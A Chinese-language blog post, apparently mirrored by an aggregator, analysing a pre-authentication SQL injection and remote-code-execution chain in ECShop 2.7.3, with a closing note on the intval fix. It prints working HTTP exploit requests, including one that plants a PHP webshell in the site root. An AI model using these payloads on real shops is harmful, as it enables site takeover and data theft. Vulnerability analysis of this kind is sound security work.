61

ECShop sqli and rce

 6 years ago
source link: http://www.lmxspace.com/2018/09/02/ECShop-sqli-and-rce/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这两天出来一个ECshop的全版本RCE漏洞。先感慨一下,自己怎么这么菜,当时审计的时候没发现。最近事情又多,又开始懒了,所以这里补一下这个坑。

漏洞环境

  • ECshop_v2.7.3
  • nginx
  • php

0x02 分析

漏洞的触发点在于ECShop系统的 user.php 文件中, display 函数的参数可控,可以配合注入可达到远程代码执行的效果。

由于是可以不登陆的前台RCE,所以这个漏洞危害还是很高的感觉,利用成本感觉也相当的低。所以分析的时候分两部分,第一部分是SQL注入分析,第二部分是RCE分析。

SQL注入

首先漏洞的触发点在 user.php 文件中的 Referer 字段里,我们截取部分相关代码看一下。 第8行 中的 $back_act 变量从 server 数组中的 Referer 字段获取数据,众所周知, Referer 字段是可控的。然后代码中的 第20行assign 方法处理 $back_act 变量的值。 第21行display 方法处理 user_passport.dwr

EVFZfuy.png!web

跟进一下 assign 方法,这个函数位置在 /includes/cls_template.php 文件中,我们截取部分相关代码,从代码中来看 assign 方法的作用是把可控变量传递给模版函数。

iiuAf2i.png!web

我们继续跟进一下 display 方法,该方法出现在 /includes/cls_template.php 文件中,截取部分相关代码。这里的 display 方法的作用应该是将模版内容展现在页面上。

Vv2YziF.png!web

而我们刚刚 user.php 中的代码是这样的。

$smarty->display('user_passport.dwt');

所以这里 display 方法的使用就是读取 user_passport.dwt 文件的内容,然后解析变量展示为 html ,并且在 第18行 中交由 _echash 进行分割处理,得到的 $k 变量的值交由 insert_mod 方法进行处理。这里实际上 insert_mod 方法中的 $val 是可控的。我们跟进一下 insert_mod 方法。

该方法出现在 /includes/cls_template.php 文件中,截取部分相关代码。这个 insert_mod 方法在 第三行| 字符分割传入的内容, 第四行 反序列化传输入的 $para ,然后 第五行 通过字符串拼接的方式动态调用函数,最后在 第7行 返回调用函数处理 $para 变量的结果。

6veIniq.png!web

所以这里 insert_mod 方法里的函数与参数均可以被控制,我们知道注入点在 /includes/lib_insert.php 中的 insert_ads 方法,我们看一下相关代码。

6VjuMbE.png!web

这里很明显 第21行第22行$arr[‘id’]\$arr[‘num’] 存在SQL注入。我们来验证一下漏洞。我们看一下正常的登陆过程中的序列化字符串

qeyEveQ.png!web

然后我们看看我们的sql注入的payload

GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 192.168.248.134
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close

E7F3uqM.png!web

远程代码执行

漏洞触发流程还是通过 user.php 文件中的 Referer 字段传递参数,然后通过 display 方法处理 user_passport.dwr 。跟进 display 方法,该方法在 /includes/cls_template.php 文件中,这次的触发点是在第16行的 fetch 方法。

Vv2YziF.png!web

跟进 fetch 方法,相关代码 /includes/cls_template.php 文件。这里 第20行_eval 函数引起了我的主意。跟进一下 _eval 函数。

6zymaav.png!web_eval 函数出现在 /includes/cls_template.php 文件,我们看看相关代码, eval 函数里的可控,那么就会造成RCE的问题了。

NrQFfqQ.png!web

所以这里需要找一下哪里调用了这个 fetch 方法,回过头来,我们想想,我们的SQL注入通过动态函数调用,找到存在注入点 insert_ads 的函数。那么我们在找找这个函数,我们发现这个方法也存在 fetch 方法的调用,相关代码出现在 /includes/lib_insert.php 文件中。

FnUNviF.png!web

我们看到 第7行 有这样一样代码,

$val = $GLOBALS['smarty']->fetch($position_style);

跟进一下 $position_style ,该变量的取值过程也在 /includes/lib_insert.php 文件中写好了。该 $position_style 变量是从数据库中获取数据,假设这个字段可控,那么就会有RCE问题产生了。

rM3QFfa.png!web

这里我们就需要配合刚刚说的SQL注入漏洞。我们知道注入点有两处,一个是 $arr[‘id’] ,另一个是 $[‘num’]$arr[‘id’] 的位置在 and 后,可以构造 union 联合查询。而 $[‘num’] 位置在 order by 后面,所以这里可能没办法使用,我们可以截断它。

7neuAvZ.png!web

这里针对 $row[‘position_id’] 做了判断,所以首先我们需要绕过这里判断。

rM3QFfa.png!web

这里我们可以在id处传入 '/* 这里的作用就是闭合前面的单引号,然后配合num的值注释掉 ORDER BY rnd LIMIT

GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:47:"*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -";s:2:"id";s:3:"'/*";}
Connection: close

URfiqaf.png!web

在数据库里运行之后

JZFnQrm.png!web

这里我们前面分析过,我们可控的字段是 $row[position_style] ,因此这里需要将payload的位置填写在 $row[position_style]

这里我们在回过头来看看 fetch 方法,相关代码 /includes/cls_template.php 文件。主要是查看是否有做一些过滤。我们看到 第20行 调用 fetch_str 函数处理传入的数据,跟进 fetch_str 函数。

6zymaav.png!web

该函数出现在 /includes/cls_template.php 文件中,截取相关代码,关键代码在 第13行

yeYvIjE.png!web

这个函数处理之后最终会return回一个数据,而这部代码主要的作用是假如 $source=xxxx{$asd}xxx ,那么经过这行代码处理后就是返回 this->select('\$asd') 的值。

这里继续跟进一下 select 函数,该函数位置也在 /includes/cls_template.php 文件中。我们看到 第21行 ,出现 $ 的时候,会调用 get_val 函数进行处理。

Q7vQB3Q.png!web

跟进 get_val 函数,该函数位置也在 /includes/cls_template.php 文件中。代码 第14行 当我们的 \$val 参数没有 .$ 会在 第26行 调用 make_var 函数进行处理。

JZf2yiU.png!web

跟进一下 make_var 函数,该函数位置也在 /includes/cls_template.php 文件中。这里我们的 $val 变量最后处理的结果实际上是个字符串。

zau2y2B.png!web

所以这里我们下个断点看看。

GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:70:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x617b246c316e6b33727d61,10-- -";s:2:"id";s:3:"'/*";}
Connection: close

IrAFjy6.png!web

这里的 0x617b246c316e6b33727d61 对应的值是 a{$l1nk3r}a

e6zaIrn.png!web

因此这里实际上,我们需要闭合这个单引号和反括号,逃逸出来然后执行我们想执行的东西。

{$l1nk3r'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2wxbmszci5waHAnLCc8P3BocCBldmFsKCRfUE9TVFtsMW5rM3JdKTsgPz4nKQ=='));//}xxx
GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:310:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b246c316e6b3372275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a327778626d737a636935776148416e4c4363385033426f6343426c646d46734b43526655453954564674734d5735724d334a644b547367507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close

最后会在根目录下生成一个马。

vayUFf3.png!web

Jvy2amJ.png!web

0x03 修复方式

我们可以看到最新版在 $arr[‘num’]\$arr[‘id’] 中加入了intval,强制类型转换来修复。

uQBZ7jv.png!web

0x04 思考

PHP下这种模板引起的RCE好像不少见了,seacms的那个好像也是因为这个引起的,但是吧,这个问题为啥自己没审计到呢,归根到底还是太菜了。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK